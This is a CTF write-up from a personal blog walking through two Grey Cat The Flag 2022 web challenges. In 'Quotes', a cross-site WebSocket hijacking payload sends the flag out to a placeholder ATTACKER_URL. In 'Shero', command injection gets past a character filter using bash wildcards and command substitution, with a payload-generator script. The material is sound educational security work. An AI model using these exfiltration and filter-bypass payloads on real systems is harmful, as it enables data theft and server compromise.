👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Qualifiers
  • Quotes
  • Setting the Auth Cookie
  • Bypassing the Origin Check
  • Final Payload
  • Shero
  • Reading Arbitrary Files
  • Running Arbitrary Commands
  • Passing the Argument
  • Rearranging the Letters
  • Putting It All Together
  • References

Was this helpful?

  1. 2022

Grey Cat The Flag 2022

Organized by NUS Greyhats in collaboration with National Cybersecurity R&D Labs from Singapore.

PreviousTropical APINextDEF CON CTF 2022 Qualifiers

Last updated 2 years ago

Was this helpful?

Qualifiers

I played the qualifiers while on holiday, so I was only able to join in for 1-2 hours every night. Nonetheless, my team did pretty well, finishing 3rd among Singapore teams and 4th overall.

Here are the challenges I solved.

Challenge
Category
Value

Data Degeneration

Misc

394

Logical Computers

Misc

467

Web

485

SelNode

Web

467

Grapache

Web

493

Web

495

Quotes

Feeling lost? Why don't you come and get quotes from the wise?

MD5 (quotes.tar.gz) = 3ba36e72cb0ee2186745673475de8cf7

  • 复读机

This was a simple client-side web exploitation challenge. From the /share endpoint we can submit a URL for the admin bot to visit.

@app.route('/share', methods=['GET','POST'])
def share():
    if request.method == "GET":
        return render_template("share.html")
    else:
        if not request.form.get('url'):
            return "yes?"
        else:
            thread_a = Bot(request.form.get('url'))
            thread_a.start()
            return "nice quote, thanks for sharing!"

Let's take a look at the actual functionality of the web app! The flag can be found in the /quote WebSockets endpoint - as long as we satisfy the following conditions:

  • The WebSocket client's origin must start with http://localhost

  • The client must have the correct auth cookie

@sockets.route('/quote')
def echo_socket(ws):
    print('/quote', flush=True)
    while not ws.closed:
        try:
            try:
                cookie = dict(i.split('=') for i in ws.handler.headers.get('Cookie').split('; '))
            except:
                cookie = {}

            # only admin from localhost can get the GreyCat's quote
            if ws.origin.startswith("http://localhost") and cookie.get('auth') == auth_token:
                ws.send(f"{os.environ['flag']}")
            else:
                ws.send(f"{quotes[random.randint(0,len(quotes))]}")
            ws.close()
        except Exception as e:
            print('error:',e, flush=True)

Setting the Auth Cookie

The correct auth cookie is set at the /auth endpoint when the request is made locally by the admin bot.

# authenticate localhost only
@app.route('/auth')
def auth():
    if request.remote_addr == "127.0.0.1":
        resp = make_response("authenticated")
        # I heard httponly defend against XSS(what is that?)
        resp.set_cookie("auth", auth_token, httponly=True)
    else:
        resp = make_response("unauthenticated")
    return resp

It is trivial to perform a GET-based CSRF through a top-level navigation to set the authentication cookie for the victim. We subsequently "sleep" for 1 second before continuing with the rest of the exploit to ensure that the nagivation was completed and the cookie was set.

const sleep = async (ms) => {
    return new Promise(resolve => setTimeout(resolve, ms));
}

window.open("http://localhost:7070/auth");

await sleep(1000);

Bypassing the Origin Check

<scheme>://<hostname>:<port>

Unless we find a browser zero-day that allows a malicious webpage to spoof Origin headers (this would be quite interesting), there is no way around our exploit page's origin needing to start with http://localhost.

But is that sufficient validation to ensure the WebSocket connection came from a page hosted on the localhost? Nope! We could simply use a domain starting with localhost, e.g. localhost.zeyu2001.com.

Final Payload

The following page needs to be hosted on a domain starting with localhost and submitted to /share.

<html>
    <body>
        <script>
            (async () => {

                const sleep = async (ms) => {
                    return new Promise(resolve => setTimeout(resolve, ms));
                }

                window.open("http://localhost:7070/auth");

                await sleep(1000);

                const ws = new WebSocket('ws://localhost:7070/quote');

                ws.onopen = function open() {
                    ws.send('getquote');
                };

                ws.onmessage = function incoming(data) {
                    fetch("http://ATTACKER_URL/?quote=" + data.data)
                };
            })();
        </script>
    </body>
</html>

Shero

We like cat, so don't abuse it please =(

  • 复读机

The premise of this challenge was quite simple. We are given the following source code, with the goal of finding the flag somewhere on the server.

<?php
    $file = $_GET['f'];
    if (!$file) highlight_file(__FILE__);

    if (preg_match('#[^.cat!? /\|\-\[\]\(\)\$]#', $file)) {
        die("cat only");
    }

    if (isset($file)) {
        system("cat " . $file);
    }
?>

By supplying a ?f= GET request parameter, we can run commands on the server. One problem though - the regex filter is more than a little restrictive.

The list of allowed characters are as follows:

  • .

  • c

  • a

  • t

  • !

  • ?

  • /

  • |

  • -

  • [

  • ]

  • (

  • )

  • $

Reading Arbitrary Files

For example, using cat /?tc/???t?, we could read the /etc/hosts file.

Using cat /???????? yielded this very interesting-looking binary. At first glance, it contained the string readflag.c, so we could guess that this binary is probably called readflag and it runs with elevated permissions to read a flag file somewhere (so that we need RCE instead of simple file reading)

If we download the binary and open it up in a decompiler, we would see that we need to pass the string sRPd45w_0 as an argument (argv[1]) in order to read the flag. This was the result of rearranging the letters in the string P4s5_w0Rd.

Running Arbitrary Commands

Since the | character is allowed, we are able to use piping to terminate the cat command and start a new command. For example, using ?f=| /??a???a? will translate to cat | /??a???a?, which runs the /readflag binary.

Passing the Argument

Now comes the torturous part. How do we get arbitrary characters to use as the password?

When reading the binary previously, we could see that the string P4s5_w0Rd is in the binary. If we could run strings on the binary, somehow extract only the password string, and rearrange the letters, we could use command substitution to pass the correct password as an argument.

We could run /usr/bin/strings /readflag using /???/???/?t????? /??a???a?

Luckily enough, many useful regex characters are allowed - in particular, ., [ and ] are very useful. This allowed me to construct a regex that leaves only the password string.

Using /???/???/?t????? /???????? | /???/a?t???a?????/?a?? /[.-t][.-a][.-t][.-a][!-a].[.-a][.-t][c-t]/, we can get the P4s5_w0Rd string!

At this point, we could try passing in the string as an argument to /readflag using $(), but this will yield "Wrong Password!".

Rearranging the Letters

By using /???/???/c?t -cX, we will get the character of the string at index X.

But how do we make the exit code non-zero? We just need to place an extra bogus command in front of it: (a || /???/???/c?t -c$(($? / $?))).

Here's the script to generate the payload required to reconstruct the password string.

original = "P4s5_w0Rd"
target = "sRPd45w_0"

final = ''
for char in target:
    idx = original.index(char)

    num = "$? / $?"

    for i in range(idx):
        num += "-- $? / $?"

    final += f"$(/???/???/?t????? /???????? | /???/a?t???a?????/?a?? /[.-t][.-a][.-t][.-a][!-a].[.-a][.-t][c-t]/ | (a || /???/???/c?t -c$(({num}))))"

print(final)

And here's the payload...

Putting It All Together

All we need to do now is to use the output from the previous script and put it behind /readflag.

and we get the flag: grey{r35p3c7_70_b45h_m4573r_0dd14e9bc3172d16}.

References

Although the WebSockets library used () is pretty old, there is no vulnerability in the ws.origin provided - afterall, gevent is the one providing the necessary information in the WSGI environment.

The ws.origin value corresponds to that of the Origin request header, which is one of the that cannot be modified progammatically by JavaScript. This is a special request header that comprises of only the following three parts of the current webpage URL:

Because there is no CSRF token being checked and because WebSockets are not restricted by the , we could use "cross-site WebSocket hijacking" to obtain and exfiltrate the flag.

This is the part where the challenge turns from a web challenge to a command injection filter bypass challenge

One trick to bypass the character filter and run commands other than cat is to use . In particular, the ? wildcard character is used to match any single character.

One thing that might help is that $() is allowed, so we could use to get the strings we need.

Now we need some way of filtering out the rest of the strings and only keeping the relevant P4s5_w0Rd string. I came across of a similar command injection challenge where the author used /etc/alternatives/nawk to filter output using regex, so I decided to try something similar.

We needed a way to rearrange P4s5_w0Rd into sRPd45w_0. It would be great if we could get characters of the string at specified indices - it sure is nice that a exists for this very purpose!

But how do we get numbers? It turns out that $? is one of the in bash, containing the exit status code of the previous command. If the exit code is non-zero, then $? / $? will yield 1, $? / $? -- $? / $? will yield 2, and so on. If the exit code is zero, this method will lead to a division by zero error.

😭
flask_sockets
forbidden header names
Same-Origin Policy
wildcards
command substitution
this writeup
cut command
special parameters
https://github.com/InfoSecIITR/write-ups/tree/master/2016/33c3-ctf-2016/misc/hohoho
Quotes
Shero